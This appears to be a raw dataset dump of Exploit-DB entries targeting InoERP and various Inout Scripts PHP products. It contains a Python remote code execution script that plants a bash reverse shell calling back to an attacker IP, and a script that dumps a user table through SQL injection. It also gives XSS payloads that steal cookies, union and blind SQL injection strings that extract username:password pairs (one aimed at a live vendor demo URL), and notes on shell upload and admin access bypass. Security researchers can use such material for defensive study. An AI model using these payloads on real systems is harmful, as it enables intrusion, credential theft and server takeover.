deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47428
Description: InoERP 0.7.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-27
Author: strider

Exploit:
# Exploit Title: InoERP 0.7.2 - Persistent Cross-Site Scripting
# Google Dork: None
# Date: 2019-09-14
# Exploit Author: strider
# Vendor: http://inoideas.org/
# Software Link: https://github.com/inoerp/inoERP
# Version: 0.7.2
# Tested on: Debian 10 Buster x64 / Kali Linux
# CVE : None

====================================[Description]====================================
There is a security flaw on the comment section, which allows to make persistant xss without any authentication.
An attacker could use this flaw to gain cookies to get into a account of registered users.


====================================[Vulnerability]====================================
extensions/comment/post_comment.php in the server part
$$extension = new $extension;

 foreach ($field_array as $key => $value) {
	if (!empty($_POST[$value])) {
	 $$extension->$value = trim(mysql_prep($_POST[$value])); <-- escaping for htmlentities
	} else {
	 $$extension->$value = "";
	}
 }

includes/functions/functions.inc in the server part
function mysql_prep($value) {
 return $value; <-- just returns the value
}

====================================[Proof of Concept]====================================
Step 1:
http://your-server-ip/content.php?mode=9&content_type=forum&category_id=7

Step 2:
open a new question and submit it.

Step 3:
then paste this PoC-Code below into the comment field and submit that

<img src=# onerror="alert(document.cookie);">
Exploit-DB #48946
Description: InoERP 0.7.2 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2020-10-26
Author: Lyhin\'s Lab

Exploit:
#!/usr/bin/python
# -*- coding: UTF-8 -*-

# Exploit Title: InoERP 0.7.2  Unauthenticated Remote Code Execution
# Date: March 14, 2020
# Exploit Author: Lyhin's Lab
# Detailed Bug Description: https://lyhinslab.org/index.php/2020/03/14/inoerp-ab-rce/
# Software Link: https://github.com/inoerp/inoERP
# Version: 0.7.2 
# Tested on: Ubuntu 19

import requests
import os
import sys

if len (sys.argv) != 4:
	print ("specify params in format: python inoerp.py target_url attacker_ip listening_port")
else:
        target_url = sys.argv[1]
	attacker_ip = sys.argv[2]
	listening_port = sys.argv[3]
	target_url += "/modules/sys/form_personalization/json_fp.php"
	target_headers = {"Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}
	code = "<?php\nexec(\"/bin/bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'\");".format(attacker_ip, listening_port)
	expl_data = {"get_fp_from_form": "true", "template_code": code, "obj_class_name": ''}

	requests.post(target_url, headers=target_headers, data=expl_data)
	print ("Check your listener.")
Exploit-DB #47426
Description: inoERP 4.15 - 'download' SQL Injection
Type: webapps
Platform: php
Date: 2019-09-26
Author: Semen Alexandrovich Lyhin

Exploit:
# Exploit Title: inoERP 4.15 - 'download' SQL Injection
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: http://inoideas.org/
# Version: 4.15
# CVE: N/A

# A malicious query can be sent in base64 encoding to unserialize() function.
# It can be deserialized without any sanitization then.
# After it, it gets passed directly to the SQL query.


#!/bin/python

import os
import base64
import requests
import sys

def generatePayload(query):
    #THIS FUNCTION IS INSECURE BY DESIGN
    b64_query = base64.b64encode(query);
    return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()
    

def ExecSQL(query):
    data = {"data":query,
            "data_type":"sql_query"}
         
    r = requests.post("http://" + ip + "/download.php", data=data)
    return r.content


if __name__ == "__main__":
    
    if len(sys.argv) != 3:
        print '(+) usage: %s <target> ' % sys.argv[0]
        print '(+) eg: %s 127.0.0.1 "ierp/" ' % sys.argv[0]
        exit()
    
    ip = sys.argv[1] + "/" + sys.argv[2]
    
    #if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw== 
    
    data = r"select * from ino_user;"
    
    print ExecSQL(generatePayload(data));
Exploit-DB #14279
Description: Inout Ad server Ultimate - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-08
Author: SONIC

Exploit:
==============================================================
Inout Ad server Ultimate --  Shell upload Vulnerabilty 
==============================================================


Name : Inout Ad server Ultimate   Shell upload Vulnerabilty  
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :http://www.inoutscripts.com
Price:$197

Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 

###################################
I'm SONiC member from Inj3ct0r Team
################################### 
Description :

Inout Adserver is powerful, feature rich, fully customizable PayPerClick advertiser/publisher networking script from inoutscripts.com. Advertisers can register into adserver and can post their text or banner PayPerClick(PPC) ads. Publishers can generate html code corresponding to their preferred style and can paste it in their web site to show ads relevant to their page content. Adserver administrator can define the commission to share with publishers. Administrator can create public service ads to show them up in partner webpages irrespective of the keywords used to search or the content of the page where the ad code is placed. The entire system is template driven which allows you to easily modify the advertiser, publisher pages to match your web site look. Also the support for utf-8 encoding allows you to use any local language for your ads. 


#######################################################################################################
Xploit :Shell Upload Vulnerability

DEMO URL http://www.site.com/inout_adserver_ultimate/ppc-new-image-ad.php

Uploaded Path : http://www.site.com/inout_adserver_ultimate/ppc-banners/

unpriviledged user could be Able to upload Shell and take over the control .

###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #9271
Description: Inout Adserver - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-27
Author: boom3rang

Exploit:
# Inout Adserver (id) Remote SQL injection                         [_][-][X]
      _  ___  _  ___      ___ ___ _____      __  ___ __   __  ___       
     | |/ / || |/ __|___ / __| _ \ __\ \    / / |_  )  \ /  \/ _ \      
     | ' <| __ | (_ |___| (__|   / _| \ \/\/ /   / / () | () \_, /      
     |_|\_\_||_|\___|    \___|_|_\___| \_/\_/   /___\__/ \__/ /_/       
                                                                          
                                                                        
      Red n'black i dress eagle on my chest.
      It's good to be an ALBANIAN Keep my head up high for that flag i die.
      Im proud to be an ALBANIAN
   ########################################################################   

       Author             : boom3rang                              
       Contact            : boom3rang[at]live.com                         
       Greetz             : H!tm@N - KHG - cHs

                  R.I.P redc00de                 
   ------------------------------------------------------------------------

                  Affected software description    	                  
       Software 	: Inout Adserver            	                          
       Vendor		: http://www.inoutscripts.com/products/adserver/	           
       Price 	      	: Just $99.95          
       Version Vuln.   : /		
 
   ------------------------------------------------------------------------

                 Proof Of Concept!
               --------------------

= NOTE!! =
########################################################################################
First you need to create an Advertiser account to the site, it's free, then you need "login" to execute this exploit!
########################################################################################

Dork: N/W
---------------------------------------------------------------------------------------
SQLi:
http://localhost/PATH/ppc-add-keywords.php?id= [ Exploit ]
---------------------------------------------------------------------------------------
Exploit: 
   1+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_users--

   1+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_publishers--
---------------------------------------------------------------------------------------

Example:
http://localhost/PATH/ppc-add-keywords.php?id=1+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_users--

---------------------------------------------------------------------------------------

LiveDemo:

Advertiser Demo Login!   
Username : advertiser
[CREDENTIAL_REDACTED] 

http://www.inoutscripts.com/demo/inout_adserver/ppc-add-keywords.php?id=348+union+all+select+concat(username,char(58),password),2,3,null+from+ppc_users--

# milw0rm.com [2009-07-27]
Exploit-DB #46593
Description: Inout Article Base CMS - SQL Injection
Type: webapps
Platform: php
Date: 2019-03-22
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Inout Article Base CMS - SQL Injection
# Date: 21.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.inoutscripts.com/products/inout-article-base/
# Demo Site: http://www.inoutwebportal.com
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/articles/portalLogin.php
Vulnerable Parameter: p (GET)
Attack Pattern:
http://locahost/[PATH]/articles/portalLogin.php?d=65ded5353c5ee48d0b7d48c591b8f430&p=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&u=test

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/articles/portalLogin.php
Vulnerable Parameter: u (GET)
Attack Pattern:
http://locahost/[PATH]/articles/portalLogin.php?d=65ded5353c5ee48d0b7d48c591b8f430&p=fe01ce2a7fbac8fafaed7c982a04e229&u=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z
Exploit-DB #14278
Description: Inout Article Base Ultimate - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-08
Author: SONIC

Exploit:
==============================================================
Inout Article base Ultimate   Shell upload Vulnerabilty 
==============================================================


Name : Inout Article base Ultimate   Shell upload Vulnerabilty  
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :http://www.inoutscripts.com
Price:$197

Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 

###################################
I'm SONiC member from Inj3ct0r Team
################################### 

Description :

  	

Inout Article Base is a powerful, feature rich, fully customizable article script from inoutscripts.com. This is a highly Search Engine Optimized script which helps you to publish unlimited number of articles. The entire system is template driven which allows you to easily modify the public pages to match your web site look. If you are serious about your online business, help yourself driving traffic from search engines into your website with Inout Article Base. 


#######################################################################################################
Xploit :Shell Upload Vulnerability

DEMO URL http://www.site.com/inout_article_base_ultimate/member/newarticle

Uploaded Path : http://www.site.com/inout_article_base_ultimate/admin/pictures/692/

unpriviledged user could be Able to upload Shell and take over the control .

###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #41053
Description: Inout CareerLamp 1.0 Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Security Bypass
# Date: 13.01.2017
# Vendor Homepage: http://www.inoutscripts.com/
# Script Name: Inout CareerLamp Script
# Script Version: v1.0
# Script Buy Now: http://www.inoutscripts.com/demo/inout-careerlamp/demo/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/statistics/js_registration_showgraph
# http://localhost/[PATH]/admin/statistics/accountactivity
# http://localhost/[PATH]/admin/statistics/js_showgraph
# Vs.......
# # # # #
Exploit-DB #41055
Description: Inout Celebrities 1.0 Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Security Bypass
# Date: 13.01.2017
# Vendor Homepage: http://www.inoutscripts.com/
# Script Name: Inout Celebrities Script
# Script Version: v1.0
# Script Buy Now: http://www.inoutscripts.com/demo/inout-celebrities/demo/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/settings/managersssettings
# http://localhost/[PATH]/admin/settings/addrsssettings
# Vs.......
# # # # #
Exploit-DB #46630
Description: Inout EasyRooms - SQL Injection
Type: webapps
Platform: php
Date: 2019-04-02
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Inout EasyRooms Ultimate Edition - SQL Injection
# Date: 29.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.inoutscripts.com/products/inout-easyrooms/
# Demo Site: http://inout-easyrooms.demo.inoutscripts.net/
# Version: v1.0
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/search/rentals
Vulnerable Parameter: guests (POST)
Payload: guests=-1' OR 3*2*1=6 AND 00046=00046 --

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/search/searchdetailed
Vulnerable Parameter: location (POST)
Payload:  location=-1' OR 3*2*1=6 AND 000603=000603 or 'UeNQc30f'='

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/search/searchdetailed
Vulnerable Parameter: numguest (POST)
Payload:  numguest=-1' OR 3*2*1=6 AND 000232=000232 --


----- PoC 4: SQLi -----

Request: http://localhost/[PATH]/search/searchdetailed
Vulnerable Parameter: property1 (POST)
Payload:
property1=(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/
Exploit-DB #14277
Description: Inout Music 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-08
Author: SONIC

Exploit:
==============================================================
Inout Music  version 1.0  Shell upload Vulnerabilty 
==============================================================


Name : Inout Music  version 1.0  Shell upload Vulnerabilty 
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :http://www.inoutscripts.com
Price:$197

Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 
###################################
I'm SONiC member from Inj3ct0r Team
################################### 

Description :

Inout Music is the most powerful, affordable, flexible, feature rich, customizable music portal script for your website. Users can purchase their favorite music from the buyer and download it instantaneously 


#######################################################################################################
Xploit :Shell Upload Vulnerability

DEMO URL http://www.site.com/inout_music_ultimate/audio/addtrack



###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #41052
Description: Inout QuerySpace 1.0 Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Security Bypass
# Date: 13.01.2017
# Vendor Homepage: http://www.inoutscripts.com/
# Script Name: Inout QuerySpace Script
# Script Version: v1.0
# Script Buy Now: http://www.inoutscripts.com/demo/inout-queryspace/demo/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/user/search
# Vs.......
# # # # #
Exploit-DB #46631
Description: Inout RealEstate - 'city' SQL Injection
Type: webapps
Platform: php
Date: 2019-04-02
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Inout RealEstate - SQL Injection
# Date: 29.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.inoutscripts.com/products/inout-realestate/
# Demo Site: http://inout-realestate.demo.inoutscripts.net/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/agents/agentlistdetails
Vulnerable Parameter: city (POST)
Payload: brokername=&city=1' RLIKE (SELECT (CASE WHEN (8778=8778) THEN 1
ELSE 0x28 END)) AND 'VZpy'='VZpy&cityname=e&page=1&sortby=1
Exploit-DB #41049
Description: Inout Search Engine Ultimate Edition 7.0/8.0 Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Security Bypass
# Date: 13.01.2017
# Vendor Homepage: http://www.inoutscripts.com/
# Script Name: Inout Search Engine Ultimate Edition Script
# Script Version: v7.0, v8.0
# Script Buy Now: http://www.inoutscripts.com/demo/inout-search-engine/demo/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/index.php?page=engine/manage_suggestion
# http://localhost/[PATH]/admin/index.php?page=databaseengine/managesettings
# http://localhost/[PATH]/admin/index.php?page=seasonallogo/add
# http://localhost/[PATH]/admin/index.php?page=seasonallogo/manage
# http://localhost/[PATH]/admin/index.php?page=seasonallogo/add
# Vs.......
# # # # #
Exploit-DB #41051
Description: Inout SmartDeal 1.0 Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Security Bypass
# Date: 13.01.2017
# Vendor Homepage: http://www.inoutscripts.com/
# Script Name: Inout SmartDeal Script
# Script Version: v1.0
# Script Buy Now: http://www.inoutscripts.com/demo/inout-smartdeal/demo/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/index.php?page=account/changepassword
# http://localhost/[PATH]/admin/index.php?page=country/addcountry
# http://localhost/[PATH]/admin/index.php?page=account/addbank
# Vs.......
# # # # #
Exploit-DB #41054
Description: Inout SocialTiles 2.0 Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Security Bypass
# Date: 13.01.2017
# Vendor Homepage: http://www.inoutscripts.com/
# Script Name: Inout SocialTiles Script
# Script Version: v2.0
# Script Buy Now: http://www.inoutscripts.com/demo/inout-socialtiles/demo/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/index.php?page=account/statussettings
# http://localhost/[PATH]/admin/index.php?page=account/newad
# Vs.......
# # # # #
Exploit-DB #41048
Description: Inout StickBoard 1.0 Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Security Bypass
# Date: 13.01.2017
# Vendor Homepage: http://www.inoutscripts.com/
# Script Name: Inout StickBoard Script
# Script Version: v1.0
# Script Buy Now: http://www.inoutscripts.com/demo/inout-stickboard/demo/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance Add/Edit/Del...
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/admin/account/clearcache
# http://localhost/[PATH]/admin/account/changeprofileimage
# http://localhost/[PATH]/admin/account/changepassword
# http://localhost/[PATH]/admin/pin/websitepin
# http://localhost/[PATH]/admin/user/manage
# http://localhost/[PATH]/admin/user/userdetails/69
# Vs.......
# # # # #
Exploit-DB #15781
Description: Inout Webmail Script - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-20
Author: Sid3^effects

Exploit:
#Name :inoutwebmail Persistent Xss Vulnerability
#Date : Dec,20 2010
#Vendor Url :http://www.inoutscripts.com/
#Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
#Big hugs : Th3 RDX,Hanan_butt,
#special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,tranquiller,Sug@R
#greetz to :!Op3x_ninjato team,www.topsecure.net ,trent Dillman,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
Inout Webmail is a complete webmail solution for your website. Build your own personal secure mail service today

###############################################################################################################
Exploit:Persistent Xss Vulnerability

The vulnerability exists due to failure in the script to properly sanitize user-supplied input.Successful exploitation of this vulnerability could result in a compromise of the application,disclosure or modification of sensitive data.


>The Xss vulnerability exists in "contacts",emailfilter
>Also the attacker can send malicious xss scripts to the users who are using this application

Attack parameter: "><script>alert("xss")</script>

>http://server/path/index.php?page=mail/mailbox
>http://server/index.php?page=settings/emailfilter

###############################################################################################################
Fix:
   N/a
###############################################################################################################
# 0day no more
# Sid3^effects
# 1337day.com